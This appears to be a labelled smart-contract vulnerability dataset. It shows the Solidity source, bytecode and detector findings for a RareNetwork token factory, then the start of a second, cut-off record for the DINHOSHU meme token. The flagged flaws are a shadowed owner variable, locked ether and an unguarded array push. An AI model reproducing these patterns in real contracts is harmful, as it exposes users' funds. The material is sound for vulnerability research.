pragma solidity ^0.4.18; // File: contracts/Owned.sol contract Owned { address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner() { assert(msg.sender == owner); _; } function transferOwnership(address newOwner) external onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/RareAsset.sol contract RareAsset is StandardToken { bytes public name; bytes public ipfsHash; bytes public attributes; address public creator; uint public decimals = 0; function RareAsset (bytes assetname, uint supply, bytes ipfsHash_, bytes attrHash, address creator_) public payable { name = assetname; totalSupply_ = supply; ipfsHash = ipfsHash_; attributes = attrHash; creator = creator_; balances[creator_] = supply; } } // File: contracts/RareNetwork.sol contract RareNetwork is Owned { address owner; string public standard = "RareNetwork 1.0"; string public name = "Rare Network"; uint public decimals = 0; address[] public RareAssets; event AssetCreated(address indexed asset); function createAsset(bytes assetname, uint supply, bytes ipfsHash, bytes attrHash, address creator) public returns (RareAsset asset) { RareAsset newAsset; //Create RareAssets newAsset = new RareAsset(assetname, supply, ipfsHash, attrHash, creator); RareAssets.push(newAsset); emit AssetCreated(newAsset); return newAsset; } function addAssetToNetwork(address assetAddress) public onlyOwner { RareAssets.push(assetAddress) -1; } function countAssets() view public returns (uint) { return RareAssets.length; } }
0x606060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e57806320020a3a1461012c578063313ce567146102775780635a3b7e42146102a05780638020f54e1461032e5780638da5cb5b14610367578063c5a83c2b146103bc578063d21eec3b146103e5578063f2fde38b14610448575b600080fd5b34156100a957600080fd5b6100b1610481565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f15780820151818401526020810190506100d6565b50505050905090810190601f16801561011e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561013757600080fd5b610235600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061051f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561028257600080fd5b61028a61077b565b6040518082815260200191505060405180910390f35b34156102ab57600080fd5b6102b3610781565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f35780820151818401526020810190506102d8565b50505050905090810190601f1680156103205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561033957600080fd5b610365600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061081f565b005b341561037257600080fd5b61037a6108e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c757600080fd5b6103cf610905565b6040518082815260200191505060405180910390f35b34156103f057600080fd5b6104066004808035906020019091905050610912565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045357600080fd5b61047f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610951565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b505050505081565b600080868686868661052f610a23565b808060200186815260200180602001806020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848103845289818151815260200191508051906020019080838360005b838110156105ac578082015181840152602081019050610591565b50505050905090810190601f1680156105d95780820380516001836020036101000a031916815260200191505b50848103835287818151815260200191508051906020019080838360005b838110156106125780820151818401526020810190506105f7565b50505050905090810190601f16801561063f5780820380516001836020036101000a031916815260200191505b50848103825286818151815260200191508051906020019080838360005b8381101561067857808201518184015260208101905061065d565b50505050905090810190601f1680156106a55780820380516001836020036101000a031916815260200191505b5098505050505050505050604051809103906000f08015156106c657600080fd5b9050600580548060010182816106dc9190610a33565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508073ffffffffffffffffffffffffffffffffffffffff167fa34547120a941eab43859acf535a121237e5536fd476dccda8174fb1af6926ed60405160405180910390a28091505095945050505050565b60045481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108175780601f106107ec57610100808354040283529160200191610817565b820191906000526020600020905b8154815290600101906020018083116107fa57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087757fe5b60016005805480600101828161088d9190610a33565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600580549050905090565b60058181548110151561092157fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a957fe5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610a2057806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60405161163d80610a8583390190565b815481835581811511610a5a57818360005260206000209182019101610a599190610a5f565b5b505050565b610a8191905b80821115610a7d576000816000905550600101610a65565b5090565b905600606060405260006007556040516200163d3803806200163d833981016040528080518201919060200180519060200190919080518201919060200180518201919060200180519060200190919050508460039080519060200190620000669291906200012f565b50836001819055508260049080519060200190620000869291906200012f565b5081600590805190602001906200009f9291906200012f565b5080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050620001de565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200017257805160ff1916838001178555620001a3565b82800160010185558215620001a3579182015b82811115620001a257825182559160200191906001019062000185565b5b509050620001b29190620001b6565b5090565b620001db91905b80821115620001d7576000816000905550600101620001bd565b5090565b90565b61144f80620001ee6000396000f3006060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146100ca57806306fdde031461011f578063095ea7b3146101ad57806318160ddd1461020757806323b872dd14610230578063313ce567146102a957806366188463146102d257806370a082311461032c57806393e1ea4114610379578063a9059cbb14610407578063c623674f14610461578063d73dd623146104ef578063dd62ed3e14610549575b600080fd5b34156100d557600080fd5b6100dd6105b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012a57600080fd5b6101326105db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610172578082015181840152602081019050610157565b50505050905090810190601f16801561019f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b857600080fd5b6101ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610679565b604051808215151515815260200191505060405180910390f35b341561021257600080fd5b61021a61076b565b6040518082815260200191505060405180910390f35b341561023b57600080fd5b61028f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610775565b604051808215151515815260200191505060405180910390f35b34156102b457600080fd5b6102bc610b2f565b6040518082815260200191505060405180910390f35b34156102dd57600080fd5b610312600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b35565b604051808215151515815260200191505060405180910390f35b341561033757600080fd5b610363600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc6565b6040518082815260200191505060405180910390f35b341561038457600080fd5b61038c610e0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cc5780820151818401526020810190506103b1565b50505050905090810190601f1680156103f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041257600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eac565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b6104746110cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b4578082015181840152602081019050610499565b50505050905090810190601f1680156104e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104fa57600080fd5b61052f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611169565b604051808215151515815260200191505060405180910390f35b341561055457600080fd5b61059f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611365565b6040518082815260200191505060405180910390f35b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106715780601f1061064657610100808354040283529160200191610671565b820191906000526020600020905b81548152906001019060200180831161065457829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107b257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107ff57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088a57600080fd5b6108db826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ec90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ec90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c46576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cda565b610c5983826113ec90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ea45780601f10610e7957610100808354040283529160200191610ea4565b820191906000526020600020905b815481529060010190602001808311610e8757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ee957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f3657600080fd5b610f87826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ec90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b505050505081565b60006111fa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156113fa57fe5b818303905092915050565b600080828401905083811015151561141957fe5b80915050929150505600a165627a7a72305820ad4d4805b9372483e51c5712b50c5e86644105d4c3acbfdb4b5d9822714b59990029a165627a7a72305820c9a5af6fe6fdb162ee42965c880b224f5927ec5777d32bceda997d13bc931ee10029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,519
0xa1607e7db421bfd488a2a33d4cb42778f15d9147
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* Ronaldinho Kishu https://t.me/dinhoshu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DINHOSHU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ronaldinho Kishu(t.me/dinhoshu)"; string private constant _symbol = 'DINHOSHU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); 